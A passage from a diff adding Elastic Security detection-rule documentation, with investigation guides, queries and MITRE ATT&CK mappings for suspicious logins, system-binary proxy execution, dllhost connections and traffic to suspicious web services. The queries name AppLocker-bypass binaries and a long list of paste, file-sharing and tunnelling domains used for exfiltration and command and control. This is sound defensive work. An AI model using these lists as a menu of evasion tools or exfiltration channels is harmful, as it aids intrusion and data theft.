+- Some system users might be configured for specific applications that require login capabilities. Review application requirements and exclude these users if their access is deemed necessary and secure. +- In environments with custom configurations, certain system users might be intentionally modified for operational needs. Document these changes and adjust the detection rule to exclude these known modifications. +- Regularly review and update the list of system users in the detection rule to ensure it reflects the current environment and operational requirements, minimizing unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate any active sessions associated with the unusual system user accounts identified in the alert to disrupt ongoing unauthorized access. +- Review and revert any unauthorized changes to the system user accounts, such as modifications to the shell configuration that enabled login capabilities. +- Conduct a thorough audit of the system for any additional unauthorized changes or backdoors, focusing on SSH configurations and user account settings. +- Reset passwords and update authentication mechanisms for all system user accounts to prevent further exploitation. +- Implement additional monitoring and alerting for any future login attempts by system users, ensuring rapid detection and response to similar threats. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Filebeat. + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete “Setup and Run Filebeat” information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Rule Specific Setup Note* + +- This rule requires the “Filebeat System Module” to be enabled. +- The system module collects and parses logs created by the system logging service of common Unix/Linux based distributions. +- To run the system module of Filebeat on Linux follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-system.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:authentication and host.os.type:linux and event.action:("ssh_login" or "user_login") and +user.name:( + "deamon" or "bin" or "sys" or "games" or "man" or "lp" or "mail" or "news" or "uucp" or "proxy" or "www-data" or "backup" or + "list" or "irc" or "gnats" or "nobody" or "systemd-timesync" or "systemd-network" or "systemd-resolve" or "messagebus" or + "avahi" or "sshd" or "dnsmasq" +) and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Local Accounts +** ID: T1078.003 +** Reference URL: https://attack.mitre.org/techniques/T1078/003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: SSH Authorized Keys +** ID: T1098.004 +** Reference URL: https://attack.mitre.org/techniques/T1098/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Users +** ID: T1564.002 +** Reference URL: https://attack.mitre.org/techniques/T1564/002/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Local Accounts +** ID: T1078.003 +** Reference URL: https://attack.mitre.org/techniques/T1078/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-network-activity-from-a-windows-system-binary.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-network-activity-from-a-windows-system-binary.asciidoc new file mode 100644 index 0000000000..0e7d815ff1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-network-activity-from-a-windows-system-binary.asciidoc @@ -0,0 +1,221 @@ +[[prebuilt-rule-8-19-20-unusual-network-activity-from-a-windows-system-binary]] +=== Unusual Network Activity from a Windows System Binary + +Identifies network activity from unexpected system applications. This may indicate adversarial activity as these applications are often leveraged by adversaries to execute code and evade detection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon + +*Version*: 219 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Network Activity from a Windows System Binary* + + +Attackers can abuse certain trusted developer utilities to proxy the execution of malicious payloads. Since these utilities are usually signed, they can bypass the security controls that were put in place to prevent or detect direct execution. + +This rule identifies network connections established by trusted developer utilities, which can indicate abuse to execute payloads or process masquerading. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate abnormal behaviors observed by the subject process, such as registry or file modifications, and any spawned child processes. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- As trusted developer utilities have dual-use purposes, alerts derived from this rule are not essentially malicious. If these utilities are contacting internal or known trusted domains, review their security and consider creating exceptions if the domain is safe. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. + - If the malicious file was delivered via phishing: + - Block the email sender from sending future emails. + - Block the malicious web pages. + - Remove emails from the sender from mailboxes. + - Consider improvements to the security awareness program. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=1m + [process where host.os.type == "windows" and event.type == "start" and + + /* known applocker bypasses */ + (process.name : "bginfo.exe" or + process.name : "cdb.exe" or + process.name : "control.exe" or + process.name : "cmstp.exe" or + process.name : "csi.exe" or + process.name : "dnx.exe" or + process.name : "fsi.exe" or + process.name : "ieexec.exe" or + process.name : "iexpress.exe" or + process.name : "installutil.exe" or + process.name : "Microsoft.Workflow.Compiler.exe" or + process.name : "MSBuild.exe" or + process.name : "msdt.exe" or + process.name : "mshta.exe" or + process.name : "wscript.exe" or + process.name : "msiexec.exe" or + process.name : "msxsl.exe" or + process.name : "odbcconf.exe" or + process.name : "rcsi.exe" or + process.name : "regsvr32.exe" or + process.name : "xwizard.exe") and + + not (process.name : "mshta.exe" and + process.parent.executable : ("C:\\Program Files (x86)\\Bentley\\*.exe", + "C:\\Program Files\\Bentley\\*.exe", + "C:\\Program Files (x86)\\Amazon\\Amazon Assistant\\amazonAssistantService.exe", + "C:\\Users\\*\\AppData\\Local\\Temp\\TeamViewer\\TeamViewer.exe")) + ] + [network where dns.question.name != null and + not dns.question.name : ("localhost", "setup.officetimeline.com", "us.deployment.endpoint.ingress.rapid7.com", + "ctldl.windowsupdate.com", "crl?.digicert.com", "ocsp.digicert.com", "addon-cms-asl.eu.goskope.com", "crls.ssl.com", + "evcs-ocsp.ws.symantec.com", "s.symcd.com", "s?.symcb.com", "crl.verisign.com", "oneocsp.microsoft.com", "crl.verisign.com", + "aka.ms", "crl.comodoca.com", "acroipm2.adobe.com", "sv.symcd.com", "_ldap._tcp.*", "..localmachine", "secure.globalsign.com", + "acroipm2.adobe.com", "www.ssl.com", "ocsp.digicert.com", "ocsp.verisign.com", "ocsp.comodoca.com", "ocsp.entrust.net", "ocsp.usertrust.com", + "ocsp.godaddy.com", "ocsp.camerfirma.com", "ocsp.globalsign.com", "ocsp.sectigo.com", "*.local") and + + not (process.name : "mshta.exe" and + dns.question.name : ("client.teamviewer.com", "www.teamviewer.com", "images-na.ssl-images-amazon.com", "searcherbar.tilda.ws")) and + + /* host query itself */ + not startswith~(dns.question.name, host.name) + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Sub-technique: +** Name: MSBuild +** ID: T1127.001 +** Reference URL: https://attack.mitre.org/techniques/T1127/001/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Control Panel +** ID: T1218.002 +** Reference URL: https://attack.mitre.org/techniques/T1218/002/ +* Sub-technique: +** Name: CMSTP +** ID: T1218.003 +** Reference URL: https://attack.mitre.org/techniques/T1218/003/ +* Sub-technique: +** Name: InstallUtil +** ID: T1218.004 +** Reference URL: https://attack.mitre.org/techniques/T1218/004/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Msiexec +** ID: T1218.007 +** Reference URL: https://attack.mitre.org/techniques/T1218/007/ +* Sub-technique: +** Name: Odbcconf +** ID: T1218.008 +** Reference URL: https://attack.mitre.org/techniques/T1218/008/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-network-connection-to-suspicious-web-service.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-network-connection-to-suspicious-web-service.asciidoc new file mode 100644 index 0000000000..563d69458a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-network-connection-to-suspicious-web-service.asciidoc @@ -0,0 +1,243 @@ +[[prebuilt-rule-8-19-20-unusual-network-connection-to-suspicious-web-service]] +=== Unusual Network Connection to Suspicious Web Service + +This rule monitors for the unusual occurrence of outbound network connections to suspicious webservice domains. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.network-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://specterops.io/blog/2026/01/30/weaponizing-whitelists-an-azure-blob-storage-mythic-c2-profile/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Network Connection to Suspicious Web Service* + + +In macOS environments, network connections to web services are routine for data sharing and collaboration. However, adversaries exploit these services for command and control by disguising malicious traffic as legitimate. The detection rule identifies unusual outbound connections to known suspicious domains, flagging potential misuse by monitoring specific domain patterns and connection events, thus aiding in early threat detection. + + +*Possible investigation steps* + + +- Review the destination domain and process executable from the alert to determine if it matches any expected web service communication. +- Check the event.category and event.type fields to confirm the nature of the network connection and ensure it aligns with the expected behavior of a macOS system. +- Investigate the source host identified by host.os.type to gather information about its recent activities, installed applications, and any potential indicators of compromise. +- Analyze network traffic logs for the source host to identify any other unusual or suspicious outbound connections that may indicate a broader compromise. +- Correlate the alert with other security events or alerts from the same host or network segment to identify patterns or related incidents. +- Consult threat intelligence sources to gather additional context on the flagged domain and assess its reputation and history of malicious activity. + + +*False positive analysis* + + +- Frequent access to legitimate cloud storage services like Google Drive or Dropbox for routine file sharing can trigger false positives. Users can create exceptions for specific domains or IP addresses known to be safe and frequently accessed by their organization. +- Automated backup services that use domains such as OneDrive or SharePoint may be flagged. To mitigate this, identify and whitelist the specific services or applications that are part of regular backup operations. +- Collaboration tools like Slack or Discord, used for legitimate communication, might be mistakenly flagged. Users should review and whitelist these domains if they are part of standard business operations. +- URL shorteners like bit.ly or tinyurl.com used in marketing or communication campaigns can cause false alerts. Establish a list of trusted shortener services and exclude them from monitoring if they are regularly used by the organization. +- Development and testing environments using services like ngrok or localtunnel for temporary public URLs can be misidentified. Ensure these environments are documented and excluded from the rule if they are part of normal development workflows. + + +*Response and remediation* + + +- Immediately isolate the affected macOS device from the network to prevent further communication with the suspicious domains. +- Conduct a thorough review of the network logs to identify any data exfiltration attempts or additional suspicious connections originating from the isolated device. +- Remove any unauthorized or suspicious applications or scripts found on the device that may be facilitating the outbound connections. +- Update the device's security software and perform a full system scan to detect and remove any malware or unauthorized software. +- Reset credentials and review access permissions for the affected user accounts to prevent unauthorized access. +- Monitor the network for any further attempts to connect to the flagged domains and ensure that alerts are configured to notify security teams of any recurrence. +- Escalate the incident to the security operations center (SOC) or relevant cybersecurity team for further investigation and to determine if the threat is part of a larger attack campaign. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category : "network" and host.os.type : "macos" and event.type : "start" and +destination.domain : ( + pastebin.* or + paste.ee or + ghostbin.com or + drive.google.com or + ?.docs.live.net or + api.dropboxapi.* or + content.dropboxapi.* or + *dl.dropboxusercontent.* or + api.onedrive.com or + *.onedrive.org or + onedrive.live.com or + filebin.net or + *.ngrok.io or + ngrok.com or + *.portmap.* or + *serveo.net or + *localtunnel.me or + *pagekite.me or + *localxpose.io or + *notabug.org or + rawcdn.githack.* or + paste.nrecom.net or + zerobin.net or + controlc.com or + requestbin.net or + api.slack.com or + slack-redir.net or + slack-files.com or + cdn.discordapp.com or + discordapp.com or + discord.com or + apis.azureedge.net or + cdn.sql.gg or + ?.top4top.io or + top4top.io or + uplooder.net or + *.cdnmegafiles.com or + transfer.sh or + updates.peer2profit.com or + api.telegram.org or + t.me or + meacz.gq or + rwrd.org or + *.publicvm.com or + *.blogspot.com or + api.mylnikov.org or + script.google.com or + script.googleusercontent.com or + paste4btc.com or + workupload.com or + temp.sh or + filetransfer.io or + gofile.io or + store?.gofile.io or + tiny.one or + api.notion.com or + *.sharepoint.com or + *upload.ee or + bit.ly or + t.ly or + cutt.ly or + mbasic.facebook.com or + api.gofile.io or + file.io or + api.anonfiles.com or + api.trello.com or + gist.githubusercontent.com or + dpaste.com or + *azurewebsites.net or + *.zulipchat.com or + *.4shared.com or + filecloud.me or + i.ibb.co or + files.catbox.moe or + *.getmyip.com or + mockbin.org or + webhook.site or + run.mocky.io or + *infinityfreeapp.com or + free.keep.sh or + tinyurl.com or + ftpupload.net or + lobfile.com or + *.ngrok-free.app or + myexternalip.com or + yandex.ru or + *.yandex.ru or + *.aternos.me or + cdn??.space or + *.pcloud.com or + mediafire.zip or + urlz.fr or + rentry.co or + *.b-cdn.net or + pastecode.dev or + i.imgur.com or + the.earth.li or + *.trycloudflare.com or + *.blob.core.windows.net or + *.blob.storage.azure.net +) and +not (destination.domain : (*.sharepoint.com or *.azurewebsites.net or "onedrive.live.com" or *.b-cdn.net or api.onedrive.com or "drive.google.com" or *.blogspot.com or *.blob.core.windows.net or *.blob.storage.azure.net) and process.code_signature.subject_name:(*Microsoft* or "Software Signing" or "Apple Mac OS Application Signing" or *VMware*) and process.code_signature.trusted:true) and +not (process.code_signature.subject_name:(*Mozilla* or *Google* or *Brave* or *Opera* or "Software Signing" or *Zscaler* or *Browser*) and process.code_signature.trusted:true) and +not (destination.domain :("discord.com" or cdn.discordapp.com or "content.dropboxapi.com" or "dl.dropboxusercontent.com") and process.code_signature.subject_name :(*Discord* or *Dropbox*) and process.code_signature.trusted:true) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ +* Sub-technique: +** Name: Exfiltration to Text Storage Sites +** ID: T1567.003 +** Reference URL: https://attack.mitre.org/techniques/T1567/003/ +* Sub-technique: +** Name: Exfiltration Over Webhook +** ID: T1567.004 +** Reference URL: https://attack.mitre.org/techniques/T1567/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-network-connection-via-dllhost.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-network-connection-via-dllhost.asciidoc new file mode 100644 index 0000000000..020cfde0e9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-network-connection-via-dllhost.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-20-unusual-network-connection-via-dllhost]] +=== Unusual Network Connection via DllHost + +Identifies unusual instances of dllhost.exe making outbound network connections. This may indicate adversarial Command and Control activity. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/ +* https://www.volexity.com/blog/2021/05/27/suspected-apt29-operation-launches-election-fraud-themed-phishing-campaigns/ +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Data Source: SentinelOne + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Network Connection via DllHost* + + +Dllhost.exe is a legitimate Windows process used to host DLL services. Adversaries may exploit it for stealthy command and control by initiating unauthorized network connections. The detection rule identifies suspicious dllhost.exe activity by monitoring outbound connections to non-local IPs, which may indicate malicious intent. This approach helps in identifying potential threats by focusing on unusual network behaviors associated with this process. + + +*Possible investigation steps* + + +- Review the process start event for dllhost.exe to confirm its legitimacy by checking the process arguments and the parent process that initiated it. +- Analyze the destination IP addresses involved in the network connections to determine if they are known malicious or suspicious entities, using threat intelligence sources. +- Check the timeline of events to see if there are any other unusual activities on the host around the time of the dllhost.exe network connection, such as other process executions or file modifications. +- Investigate the user account associated with the dllhost.exe process to determine if there are any signs of compromise or unauthorized access. +- Examine the network traffic patterns from the host to identify any other unusual outbound connections that might indicate broader malicious activity. + + +*False positive analysis* + + +- Legitimate software updates or system maintenance tasks may cause dllhost.exe to make outbound connections. Users can monitor and whitelist known update servers to prevent these from being flagged. +- Certain enterprise applications might use dllhost.exe for legitimate network communications. Identify and document these applications, then create exceptions for their known IP addresses. +- Automated scripts or administrative tools that leverage dllhost.exe for network tasks can trigger false positives. Review and exclude these scripts or tools by specifying their associated IP ranges. +- Cloud-based services or virtual environments might route traffic through dllhost.exe. Verify these services and exclude their IP addresses from the detection rule to avoid unnecessary alerts. + + +*Response and remediation* + + +- Isolate the affected host from the network immediately to prevent further unauthorized communications and potential lateral movement. +- Terminate the suspicious dllhost.exe process to stop any ongoing malicious activity and prevent further outbound connections. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any additional malicious software or artifacts. +- Review and analyze the network logs to identify any other systems that may have been targeted or compromised, and apply similar containment measures if necessary. +- Restore the affected system from a known good backup to ensure that any potential backdoors or persistent threats are removed. +- Implement network segmentation to limit the ability of similar threats to spread across the network in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional organizational measures are required. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan=1m + [process where host.os.type == "windows" and event.type == "start" and process.name : "dllhost.exe" and process.args_count == 1] + [network where host.os.type == "windows" and process.name : "dllhost.exe" and + not cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", + "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", + "192.175.48.0/24", "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-network-destination-domain-name.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-network-destination-domain-name.asciidoc new file mode 100644 index 0000000000..5f326bd833 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-network-destination-domain-name.asciidoc @@ -0,0 +1,207 @@ +[[prebuilt-rule-8-19-20-unusual-network-destination-domain-name]] +=== Unusual Network Destination Domain Name + +A machine learning job detected an unusual network destination domain name. This can be due to initial access, persistence, command-and-control, or exfiltration activity. For example, when a user clicks on a link in a phishing email or opens a malicious document, a request may be sent to download and run a payload from an uncommon web server name. When malware is already running, it may send requests to an uncommon DNS domain the malware uses for command-and-control communication. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-45m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual Network Destination Domain Name* + + +Machine learning models analyze network traffic to identify atypical domain names, which may indicate malicious activities like phishing or malware communication. Adversaries exploit uncommon domains for initial access or command-and-control. This detection rule leverages ML to flag these anomalies, aiding analysts in identifying potential threats early. + + +*Possible investigation steps* + + +- Review the domain name flagged by the alert to determine if it is known for malicious activity or if it is newly registered, using threat intelligence sources and domain reputation services. +- Analyze the network traffic associated with the domain to identify the source IP address and any related communication patterns, such as frequency and data volume. +- Check the user or system that initiated the connection to the unusual domain for any recent changes or suspicious activities, such as software installations or configuration changes. +- Investigate any related alerts or logs that might provide additional context, such as other unusual domain requests or failed login attempts, to identify potential patterns or correlations. +- Assess the endpoint security logs for signs of malware or unauthorized access attempts that could be linked to the unusual domain activity. + + +*False positive analysis* + + +- Legitimate software updates or downloads from uncommon domains can trigger false positives. Users should maintain a list of known software vendors and their associated domains to exclude these from alerts. +- Internal testing or development environments may use non-standard domain names. Organizations should document these domains and configure exceptions to prevent unnecessary alerts. +- Newly registered domains for legitimate business purposes might be flagged. Regularly update the list of approved domains as new business initiatives arise. +- Third-party services or APIs that use unique domain names can cause false positives. Identify and whitelist these services to reduce noise in alerts. +- Temporary or one-time use domains for events or campaigns should be monitored and excluded as needed to avoid repeated false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further communication with the suspicious domain and potential spread of malware. +- Conduct a thorough scan of the isolated system using updated antivirus and anti-malware tools to identify and remove any malicious software. +- Review and analyze network logs to identify any other systems that may have communicated with the unusual domain and apply similar isolation and scanning procedures to those systems. +- Change passwords and credentials associated with the affected system and any potentially compromised accounts to prevent unauthorized access. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional containment measures are necessary. +- Implement network-level blocking of the identified unusual domain across the organization to prevent future access attempts. +- Update threat intelligence feeds and detection systems with indicators of compromise (IOCs) related to the unusual domain to enhance future detection capabilities. + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from one of the following integrations: +- Elastic Defend +- Auditd Manager + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the 